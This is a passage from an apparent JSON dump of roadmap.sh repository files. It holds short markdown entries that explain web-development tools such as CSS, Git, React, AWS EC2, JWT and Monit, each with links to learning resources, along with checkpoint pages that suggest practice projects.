\"KMA7NkxFbPoUDtFnGBFnj\",\n  \"mobile-applications\": \"VOGKiG2EZVfCBAaa7Df0W\",\n  \"mobile-applications:react-native\": \"dsTegXTyupjS8iU6I7Xiv\",\n  \"mobile-applications:flutter\": \"dIQXjFEUAJAGxxfAYceHU\",\n  \"mobile-applications:ionic\": \"xmRv6-L45m5MDpHmdHFCL\"\n}"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/css@ZhJhf1M2OphYbEmduFq-9.md",
    "content": "# CSS\n\nCSS, or Cascading Style Sheets, is a language used to describe the look and formatting of a document written in HTML. It controls things like the colors, fonts, layout, and overall visual presentation of a website, ensuring it's both appealing and easy to navigate for users. Think of it as the makeup artist for your website, taking the basic structure provided by HTML and making it beautiful.\n\nVisit the following resources to learn more:\n\n- [@official@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@article@HTML & CSS: design and build websites](https://sites.math.duke.edu/courses/math_everywhere/assets/techRefs/HTML%20and%20CSS-%20Design%20and%20Build%20Websites_Jon%20Duckett_2011.pdf)\n- [@article@CSS MDN Docs](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS)\n- [@article@CSS | Wikipedia](https://en.wikipedia.org/wiki/CSS)\n- [@video@SS Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=OXGznpKZ_sA)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/git@R_I4SGYqLk5zze5I1zS_E.md",
    "content": "# Git\n\nGit is like a save button for your code, but way more powerful. It's a system that tracks changes you make to your files, so you can easily go back to earlier versions, compare different versions, and collaborate with others on the same project without messing up each other's work. Think of it as a detailed history book for your code, allowing you to experiment and fix mistakes without fear of losing progress.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/github@qmTVMJDsEhNIkiwE_UTYu.md",
    "content": "# GitHub\n\nGitHub is a website and service that helps developers store and manage their code. Think of it like a cloud-based folder where you can keep all your project files. It also allows multiple people to work on the same project at the same time without messing each other's work up, using a system called version control. This makes it easier to collaborate and track changes to your code.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/html@yWG2VUkaF5IJVVut6AiSy.md",
    "content": "# HTML\n\nHTML, or HyperText Markup Language, is the standard language for creating web pages. It uses tags to structure content like headings, paragraphs, images, and links, telling the web browser how to display the information. Think of it as the skeleton of a website, providing the basic structure and content that users see.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated HTML roadmap](https://roadmap.sh/html)\n- [@article@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@video@HTML Full Course for Beginners](https://www.youtube.com/watch?v=mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/javascript@ODcfFEorkfJNupoQygM53.md",
    "content": "# JavaScript\n\nJavaScript is a programming language that makes websites interactive. It lets you add dynamic content, control multimedia, animate images, and pretty much everything else that makes a webpage more than just static text. It runs in web browsers, allowing you to create engaging experiences for users.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@book@JavaScript from Beginner to Professional](https://www.gurukultti.org/admin/notice/javascript.pdf)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c&t=4s)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/npm@ib_FHinhrw8VuSet-xMF7.md",
    "content": "# npm\n\nnpm is like a personal assistant for your coding projects. It's a tool that helps you easily manage and share code packages (like pre-written bits of code that do specific things) in your projects. Think of it as an app store, but for code. You can use it to install, update, and uninstall these packages, making it much easier to use other people's code and share your own.\n\nVisit the following resources to learn more:\n\n- [@official@NPM Website](https://www.npmjs.com/)\n- [@official@NPM Documentation](https://docs.npmjs.com/)\n- [@opensource@How to NPM](https://github.com/workshopper/how-to-npm)\n- [@article@Modern JavaScript for Dinosaurs](https://peterxjang.com/blog/modern-javascript-explained-for-dinosaurs.html)\n- [@video@NPM Tutorial for Beginners](https://www.youtube.com/watch?v=2V1UUhBJ62Y)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/react@tG5v3O4lNIFc2uCnacPak.md",
    "content": "# React\n\nReact is a JavaScript library for building user interfaces. It lets you break down complex UIs into smaller, reusable components. These components manage their own data and can be composed together to create larger applications. React uses a declarative approach, meaning you describe what you want the UI to look like, and React takes care of updating the DOM efficiently.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React Website](https://react.dev)\n- [@video@Full Stack React Developer Course](https://www.youtube.com/watch?v=Bvwq_S0n2pk)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/tailwind@eghnfG4p7i-EDWfp3CQXC.md",
    "content": "# Tailwind CSS\n\nTailwind CSS is a utility-first CSS framework. Instead of providing pre-designed components like buttons or navigation bars, it gives you a set of pre-defined CSS classes that you can use directly in your HTML to style your elements. This allows for highly customized designs without writing custom CSS from scratch, offering a faster and more flexible way to style your web pages.\n\nVisit the following resources to learn more:\n\n- [@official@Tailwind Website](https://tailwindcss.com)\n- [@official@Online Playground](https://play.tailwindcss.com)\n- [@course@Tailwind CSS Full Course for Beginners](https://www.youtube.com/watch?v=lCxcTsOHrjo)\n- [@video@Should You Use Tailwind CSS?](https://www.youtube.com/watch?v=hdGsFpZ0J2E)\n- [@video@Official Screencasts](https://www.youtube.com/c/TailwindLabs/videos)"
  },
  {
    "path": "src/data/roadmaps/frontend-beginner/content/vitest@hVQ89f6G0LXEgHIOKHDYq.md",
    "content": "# Vitest\n\nVitest is a testing framework powered by Vite. It's designed to be fast and easy to use, especially for projects that already use Vite for development. Vitest allows you to write unit tests and integration tests for your frontend code, ensuring that your components and functions work as expected. It offers features like hot module replacement (HMR) during testing, a watch mode for automatically re-running tests on file changes, and compatibility with popular testing libraries like Jest.\n\nVisit the following resources to learn more:\n\n- [@official@Vitest - Next Generation Testing Framework](https://vitest.dev/)\n- [@official@Vitest Documentation](https://vitest.dev/guide/)\n- [@video@Vitest Simplified](https://www.youtube.com/watch?v=snCLQmINqCU)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/ansible@rFXupYpUFfp7vZO8zh614.md",
    "content": "# Ansible\n\nAnsible is an open-source configuration management, application deployment and provisioning tool that uses its own declarative language in YAML. Ansible is agentless, meaning you only need remote connections via SSH or Windows Remote Management via Powershell in order to function\n\nVisit the following resources to learn more:\n\n- [@official@Ansible](https://www.ansible.com/)\n- [@official@Ansible Documentation](https://docs.ansible.com/)\n- [@official@Ansible Getting Started Guide](https://www.ansible.com/resources/get-started)\n- [@video@Ansible Full Course for Beginners](https://www.youtube.com/watch?v=9Ua2b06oAr4)\n- [@feed@Explore top posts about Ansible](https://app.daily.dev/tags/ansible?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/basic-aws-services@cUOfvOlQ_0Uu1VX3i67kJ.md",
    "content": "# Basic AWS Services\n\nAWS has several services but you don't need to know all of them. Some common ones that you can start with are EC2, VPC, S3, Route 53, and SES.\n\nVisit the following resources to learn more:\n\n- [@article@Up and Running with AWS VPC](https://cs.fyi/guide/up-and-running-with-aws-vpc)\n- [@article@Up and Running with AWS EC2](https://cs.fyi/guide/up-and-running-with-aws-ec2)\n- [@article@VPC Basics](https://cloudcasts.io/course/vpc-basics)\n- [@article@EC2 Essentials](https://cloudcasts.io/course/ec2-essentials)\n- [@video@Deploy Node App on AWS EC2](https://youtu.be/oHAQ3TzUTro)\n- [@video@AWS VPC & Subnets For Beginners](https://youtu.be/TUTqYEZZUdc)\n- [@video@DNS with AWS Route 53](https://www.youtube.com/watch?v=yRIY7BJohfo)\n- [@video@Upload Images to S3 from Node Back End](https://www.youtube.com/watch?v=NZElg91l_ms)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint---collaborative-work@zFGWxgLPcZoW7KIzlnSV9.md",
    "content": "# Checkpoint\n\nNow that you have learnt git and GitHub you should be ready to work with others. You should now setup your GitHub profile and push all the projects that you have built so far to your GitHub profile. Here are some of my recommendations for your GitHub profile:\n\n*   Keep the repository names lowercase and use hyphens to separate words e.g. `todo-app` instead of `TodoApp` or `Todo-App`.\n*   Add a `README.md` file to each repository that you create. This file should contain a description of the project. Put some effort into the readme and make sure it clearly details what the project is about and how anyone can run it locally.\n*   Add snapshots of your project to the readme file so that anyone can see what the project looks like without having to run it locally.\n*   Add a `LICENSE` file to each repository that you create. This file should contain the license that you want to use for the project. You can use [choosealicense.com](https://choosealicense.com/) to help you choose a license.\n\nYou can have a look at [my GitHub profile](https://github.com/kamranahmedse) and see how I have structured my repositories and how [some of my readme files look like](https://github.com/kamranahmedse/aws-cost-cli)."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint---external-packages@R4aeJNOrfWyVp3ea-qF4H.md",
    "content": "# Checkpoint\n\nAt this point, you should be able to install and use external packages using `npm`. You probably know about [npmjs.com](https://npmjs.com/) where you can search for packages and read their documentation. You should also be familiar with the `package.json` file and how to use it to manage your project dependencies.\n\nYou don't need to get into the module bundlers and build tools just yet. Just make sure that you are able to use the dependencies installed in the `node_modules` folder using simple link and script tags in your HTML.\n\nRegarding projects, here are a few ideas that you can try:\n\n*   Create a simple webpage that shows the current time of user. You can use [dayjs](https://day.js.org/) to get the current time and display it on the page. Here is the [sample design for homepage](https://i.imgur.com/yGIMGkr.png).\n*   Install the [micromodal](https://micromodal.vercel.app/#introduction) library. Create a button on the page clicking which should open a modal and let the user select a timezone from a dropdown. Once the user selects a timezone, the modal should close and the time on the page should be updated to show the time in the selected timezone. Here is the [sample design for the modal](https://imgur.com/a/vFY6Sdl)."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint---frontend-apps@7JU1cVggMDoZUV-adGsf-.md",
    "content": "# Checkpoint\n\nAt this point you should be able to build a complete frontend application including:\n\n*   Structuring your webpages with HTML\n*   Styling your webpages with CSS\n*   Adding interactivity to your webpages with JavaScript\n*   Using the DOM API to manipulate your webpages\n*   Using the Fetch API to make HTTP requests\n*   Understand promises and use `async`/`await` syntax to write asynchronous code\n*   Installing and using external libraries with npm\n*   Version controlling your code with Git\n*   Pushing your code to GitHub\n\nIf you decided to skip React and Tailwind for now, that is fine also but you should be able to build a complete frontend application using vanilla HTML, CSS, and JavaScript. However, keep in mind that the modern frontend applications are mostly built with frameworks like React, Vue, and Angular. So, you should learn at least one of them at any point of time.\n\nThis marks the end of frontend basics that you needed, we will now be moving to the backend development. While you continue with the backend development, know that there is more to frontend development and remember to checkout the [frontend roadmap](/frontend) later in your journey."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint---interactivity@2DFzoIUjKdAKGjfu_SCfa.md",
    "content": "# Checkpoint\n\nAt this point you should be able to add interactivity to your web pages using JavaScript. You should make sure that you have learnt the following:\n\n*   Know about variables, loops, data types, conditionals, functions.\n*   Know about arrays and objects and different ways to access their data.\n*   Know how to select DOM elements.\n*   Add event listeners to DOM elements (e.g. click, focus, form submission).\n*   Use JavaScript to add and remove DOM elements\n*   Add and remove classes from DOM elements\n*   Use JavaScript to make HTTP requests to external APIs (i.e. `fetch`)\n*   Use JavaScript to store data in the browser's local storage\n\nHere are few ideas to practice your skills:\n\n*   Create a simple to-do list app that allows users to search, add, edit, and delete items. Use local storage to store the data.\n*   Create a simple webpage where user can put in anyone's GitHub username and see their profile information. You can use GitHub's API to fetch the data. For example, here is the [sample URL to fetch my data](https://api.github.com/users/kamranahmedse). Make sure to add validation and error handling.\n*   Create a basic calculator app that allows users to perform basic arithmetic operations."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint---static-webpages@WsdUAEaI7FX6DKKhPXUHp.md",
    "content": "# Checkpoint\n\nNow that you have learnt HTML and CSS, you should be able to build static webpages. I recommend you to build as many test projects at each yellow step of the roadmap as possible to solidify what you learn.\n\nThe practice that I used to follow when I was learning was this:\n\n*   While you are watching a course or reading a book, make sure to code along with the instructor/author — pause the video at regular intervals and code what you are being taught.\n*   Search on YouTube and watch a few project based tutorials on the topic that you are learning. Apart from coding along with the instructor:\n    *   Try to build the same project at least 2 to 3 times on your own without looking at the video. If you get stuck, refer to the section of the video where the instructor builds that part of the project.\n    *   Build something else that is similar to the project that you just built. For example, if you just built a todo app, try to build a notes app or a reminder app.\n\nProject Ideas\n-------------\n\nNow that you have learnt HTML and CSS, here are a few ideas for you to build:\n\n*   Try to copy the design of a website that you like.\n    *   Here is a [simple blog design in figma](https://www.figma.com/file/nh0V05z3NB87ue9v5PcO3R/writings.dev?type=design&node-id=0%3A1&t=2iQplaIojU3ydAfW-1) that you can try to copy.\n    *   Or try to rebuild the [webpages of this website](https://cs.fyi/).\n*   Take some inspiration from [personal portfolios of others](https://astro.build/showcase/) and build your own personal portfolio"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--automation@sO_9-l4FECbaqiaFnyeXO.md",
    "content": "# Checkpoint\n\nNow that you have learnt ansible, you can use it to automate the deployment of your application.\n\nA task for you at this point would be to automate the steps that you manually performed earlier when setting up the EC2 instance i.e. SSH into the server, install Node.js, Git, PostgreSQL, Running the application etc. Write an ansible playbook that automates these and see if you can spin up a new EC2 instance without SSHing into it and manually installing all the dependencies."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--ci--cd@liaY1GnlOateB_ZKBjNpY.md",
    "content": "# Checkpoint — CI / CD\n\nNow that you have the infrastructure setup, it's time to automate the deployment process. This is where CI / CD comes in. If you don't know what CI/CD are, you should watch [DevOps CI/CD Explained in 100 Seconds](https://www.youtube.com/watch?v=scEDHsr3APg).\n\nThe next step at this point is to implement CI/CD for your application using GitHub actions. Setup a GitHub action that, whenever you push to master, will automatically:\n\n*   Run your tests (ignore this step if you haven't learnt it yet)\n*   Deploy your application to AWS\n\nRegarding the deployment to AWS you can use `rsync` to copy the files to the server. Here's a [sample GitHub workflow](https://gist.github.com/kamranahmedse/1e94b412006040f38e24b9443b2da41a) using `rsync`."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--cli-apps@JGu0TKwAw-ieiG92BytYI.md",
    "content": "# Checkpoint\n\nAt this point you should be able to build CLI applications using Node.js or whatever backend programming language you picked.\n\nYou should be able to build a CLI application that can:\n\n*   Read and write files\n*   Parse command line arguments\n*   Make HTTP requests\n*   Parse JSON\n*   Use a third-party library (e.g. a library for parsing CSV files)\n*   Use a third-party API\n\nHere are some ideas for CLI applications you can build:\n\n*   Create a CLI application that takes a URL and a CSS selector arguments and prints the text content of the element that matches the selector. **Hint** you can use [cheerio](https://github.com/cheeriojs/cheerio)\n*   An application that optionally takes two dates and prints the most starred GitHub projects in that date range. **Hint** you can use [GitHub's search API](https://developer.github.com/v3/search/#search-repositories)\n*   Bulk rename files in a directory. **Hint** you can use [fs](https://nodejs.org/api/fs.html) and [path](https://nodejs.org/api/path.html)\n*   Write a CLI application that takes a path as input and compresses all the images in that directory. It should accept an option for output path; if the output path is not given it should compress images in place otherwise write the compressed images to the output path. **Hint** you can use [sharp](https://github.com/lovell/sharp)."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--complete-app@v4NF25lJElAtkU0Rm6Fob.md",
    "content": "# Checkpoint\n\nAt this point, you should have everything that you need to build a complete application that:\n\n*   Has a responsive frontend that users can interact with\n*   Has a backend API that is secured with JWT authentication\n*   Has a database that stores data\n\nAt this point you should practice building as much as you can on your own to solidify your knowledge. If you need inspiration, here are some ideas:\n\n*   Build a simple blogging application where users can register, login, setup their blog and write posts.\n*   A single page site builder where users can pick a template, modify it and publish it. **Hint** you will need filesystem to store the design templates. Template files will have placeholders that you will need to replace with user data.\n*   Build a simple e-commerce application which will have two types of users i.e. **Sellers** who can: Register as Seller, Login, Setup their store, Add products, Edit products, Delete products, View Received Orders, Update Order Status (Pending, Shipped, Delivered), **Buyers** who can register, Login, Browse products by all sellers, Add products to cart, Checkout, View order history, View order status, Cancel order, View seller profile, View seller products\n\nThese are just some ideas to get you started. You can build anything you want. The goal is to practice building a complete application from scratch."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--deployment@J2_IWAb1s9zZcxOY3NXm2.md",
    "content": "# Deployment\n\nNow that you know the basics of AWS, you should be able to deploy your application to AWS. You don't need to use all the AWS services, here is what you can probably get started with:\n\n*   Setup an EC2 instance using any AMI (e.g. latest version of Ubuntu)\n*   SSH into the EC2 instance using the key pair you created\n*   Install Node.js on the EC2 instance\n*   Install Git on the EC2 instance\n*   Clone your application from GitHub\n*   Install and configure database on the EC2 instance (e.g. PostgreSQL)\n*   Make sure that the security group of the EC2 instance allows HTTP and HTTPS traffic\n*   Try to access your application using the public IP address of the EC2 instance\n*   Purchase or setup a domain name using Route53 (or any other domain name provider) and point it to the public IP address of the EC2 instance\n*   Setup HTTPs using [certbot](https://roadmap.sh/guides/setup-and-auto-renew-ssl-certificates)\n*   And voilla! You have deployed your application to AWS!\n\nVisit the following resources to learn more:\n\n- [@video@Deploy Node App on AWS EC2](https://youtu.be/oHAQ3TzUTro)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--infrastructure@YVMyHFSCVF-GgXydq-SFJ.md",
    "content": "# Checkpoint\n\nIf you remember, earlier in the roadmap, you manually logged into the AWS console and had to setup the services. Now that you know terraform, go ahead and automate the process of creating the infrastructure for your application using terraform and with that your deployments will be fully automated i.e., you should have:\n\n*   Infrastructure setup using terraform\n*   Provisioning using Ansible\n*   CI/CD using GitHub Actions\n*   Monitoring using Monit\n\nAnd that is it! You have successfully completed the roadmap and are now a full-stack developer. Congratulations! 🎉\n\nWhat's next?\n------------\n\nGo ahead and build something cool! Share your learnings with the community and help others learn as well. If you have any questions, feel free to join our [discord server](https://roadmap.sh/discord) and ask away!"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--monitoring@NQmEl27eBPYhivcXdOEz3.md",
    "content": "# Checkpoint\n\nYou should now implement monitoring and autorestarts for your application using monit. Regarding autorestarts, you can also use [pm2](https://pm2.keymetrics.io/).\n\nHere are some of the monitors you should implement for the application.\n\n*   CPU Usage\n*   Memory Usage\n*   Disk Usage\n*   Network Usage\n*   Service Availability\n*   Process Availability\n\nMonit comes with existing configurations for many services. You can find them in `/etc/monit/conf-available`. You can copy them (and modify if required) to `/etc/monit/conf-enabled` to enable them."
  },
  {
    "path": "src/data/roadmaps/full-stack/content/checkpoint--simple-crud-apps@3EtGLO6cwkLc1-o9gwFNk.md",
    "content": "# Checkpoint\n\n**CRUD** stands for **Create, Read, Update, and Delete**. These are the four basic operations you can perform on any data when working with web applications, databases, and APIs.\n\nNow that you know about programming language and the databases, you should be able to build a simple CLI application that interacts with database. We haven't talked about the APIs yet but you don't need an API to practice CRUD operations. Here are some of the CLI applications you can build to practice CRUD operations:\n\n*   A simple todo list application for the CLI with the following options:\n    *   `--new` to add a new todo item\n    *   `--list [all|pending|done]` to list the todo items\n    *   `--done [id]` to update a todo item\n    *   `--delete [id]` to delete a todo item\n    *   `--help` to list all the available options\n    *   `--version` to print the version of the application"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/css@dAJHWmGeiYdzZ1ZjrWz1S.md",
    "content": "# CSS\n\nCSS or Cascading Style Sheets is the language used to style the frontend of any website. CSS is a cornerstone technology of the World Wide Web, alongside HTML and JavaScript.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@article@Web.dev by Google — Learn CSS](https://web.dev/learn/css/)\n- [@article@CSS: Cascading Style Sheets | MDN](https://developer.mozilla.org/en-US/docs/Web/CSS)\n- [@video@CSS Complete Course](https://youtu.be/n4R2E7O-Ngo)\n- [@video@HTML and CSS Tutorial](https://www.youtube.com/watch?v=D-h8L5hgW-w)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/ec2@6oBIxYj8WPcUHidQ99tus.md",
    "content": "# EC2\n\nAmazon Elastic Compute Cloud (EC2) is a web service that provides resizable compute capacity in the form of virtual servers, known as instances. With EC2, you can quickly scale your infrastructure up or down as your computing requirements change. This service effectively reduces the time required to obtain and boot new server instances, allowing you to easily adjust capacity according to the needs of your application.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon AWS EC2](https://aws.amazon.com/ec2/)\n- [@article@Up and Running with AWS EC2](https://cs.fyi/guide/up-and-running-with-aws-ec2)\n- [@article@EC2 Essentials](https://cloudcasts.io/course/ec2-essentials)\n- [@video@Deploy Node App on AWS EC2](https://youtu.be/oHAQ3TzUTro)\n- [@feed@Explore top posts about AWS EC2](https://app.daily.dev/tags/aws-ec2?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/git@We2APJpOPTr-VNfowG0kI.md",
    "content": "# Git\n\nGit is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners 2025](https://youtu.be/vA5TTz6BXhY?si=GvKMbLL4UBtOq6fh)\n- [@video@Git Tutorial For Dummies](https://www.youtube.com/watch?v=mJ-qvsxPHpY)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/github-actions@863KMXcFJzInvTp_-Ldmz.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a workflow automation tool provided by GitHub that can be used to automate various tasks in the app development process.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub Actions](https://github.com/features/actions)\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@video@5 Ways to DevOps-ify your App](https://www.youtube.com/watch?v=eB0nUzAI7M8)\n- [@video@DevOps CI/CD Explained in 100 Seconds](https://www.youtube.com/watch?v=scEDHsr3APg)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github-actions?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/github@8sPXL8iClpPqje03ksses.md",
    "content": "# GitHub\n\nGitHub is a provider of Internet hosting for software development and version control using Git. It offers the distributed version control and source code management functionality of Git, plus its own features.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@article@How to Use Git in a Professional Dev Team](https://ooloo.io/project/github-flow)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git vs. GitHub: Whats the difference?](https://www.youtube.com/watch?v=wpISo9TNjfU)\n- [@video@Git and GitHub for Beginners](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@video@Git and GitHub - CS50 Beyond 2019](https://www.youtube.com/watch?v=eulnSXkhE7I)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/html@B0kARTODvCBi0iOF8iiqI.md",
    "content": "# HTML\n\nHTML stands for HyperText Markup Language. It is used on the frontend and gives the structure to the webpage which you can style using CSS and make interactive using JavaScript.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated HTML Roadmap](https://roadmap.sh/html)\n- [@video@HTML Full Course for Beginners](https://youtu.be/mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/javascript@T9PB6WQf-Fa9NXKKvVOy_.md",
    "content": "# JavaScript\n\nJavaScript allows you to add interactivity to your pages. Common examples that you may have seen on the websites are sliders, click interactions, popups and so on.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c?t=2)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/jwt-auth@vHojhJYjiN0IwruEqi1Dv.md",
    "content": "# JWT\n\nJWT stands for JSON Web Token is a token-based encryption open standard/methodology that is used to transfer information securely as a JSON object. Clients and Servers use JWT to securely share information, with the JWT containing encoded JSON objects and claims. JWTs are designed to be compact, safe to use within URLs, and ideal for SSO contexts.\n\nVisit the following resources to learn more:\n\n- [@official@jwt.io](https://jwt.io/)\n- [@official@Introduction to JSON Web Tokens](https://jwt.io/introduction)\n- [@article@What is JWT?](https://www.akana.com/blog/what-is-jwt)\n- [@video@What Is JWT and Why Should You Use JWT](https://www.youtube.com/watch?v=7Q17ubqLfaM)\n- [@video@What is JWT? JSON Web Token Explained](https://www.youtube.com/watch?v=926mknSW9Lo)\n- [@video@JWT Authentication Tutorial - Node.js](https://www.youtube.com/watch?v=mbsmsi7l3r4)\n- [@feed@Explore top posts about JWT](https://app.daily.dev/tags/jwt?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/linux-basics@SHTSvMDqI7X1_ZT7-m--n.md",
    "content": "# Linux / Unix\n\nKnowledge of UNIX is a must for almost all kind of development as most of the code that you write is most likely going to be finally deployed on a UNIX/Linux machine. Linux has been the backbone of the free and open source software movement, providing a simple and elegant operating system for almost all your needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Linux Roadmap](https://roadmap.sh/linux)\n- [@course@Coursera - Unix Courses](https://www.coursera.org/courses?query=unix)\n- [@article@Linux Basics](https://dev.to/rudrakshi99/linux-basics-2onj)\n- [@article@Unix / Linux Tutorial](https://www.tutorialspoint.com/unix/index.htm)\n- [@video@Linux Operating System - Crash Course](https://www.youtube.com/watch?v=ROjZy1WbCIA)\n- [@feed@Explore top posts about Linux](https://app.daily.dev/tags/linux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/monit@y1SFX7uvWaCy4OYBnECLu.md",
    "content": "# Monit\n\nWhen it comes to monitoring the health of your applications, there are several different options available. My favorite monitoring stack is Prometheus and Grafana, but it can be a bit overwhelming to set up and configure. If you're looking for a simpler solution, **Monit** is a great alternative that can be utilized to monitor and manage system resources such as services, processes, files, directories, devices, and network connections, making your application more reliable and resilient to issues like crashes, unresponsiveness, or resource exhaustion.\n\nVisit the following resources to learn more:\n\n- [@official@Monit](https://mmonit.com/monit/)\n- [@official@Monit Documentation](https://mmonit.com/monit/documentation/)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/nodejs@_aA6Hp4KkgJeptqo8oKTg.md",
    "content": "# Node.js\n\nNode.js is an open-source and cross-platform JavaScript runtime environment. It is a popular tool for almost any kind of project! Node.js runs the V8 JavaScript engine, Google Chrome's core, outside the browser. This allows Node.js to be very performant. A Node.js app runs in a single process, without creating a new thread for every request. Node.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Node.js Roadmap](https://roadmap.sh/nodejs)\n- [@official@Node.js Website](https://nodejs.org/en/about/)\n- [@official@Learn Node.js Official Website](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@video@Node.js and Express.js Full Course](https://www.youtube.com/watch?v=Oe421EPjeBE)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/npm@mGgx_QTEPmVKf6AijX9fi.md",
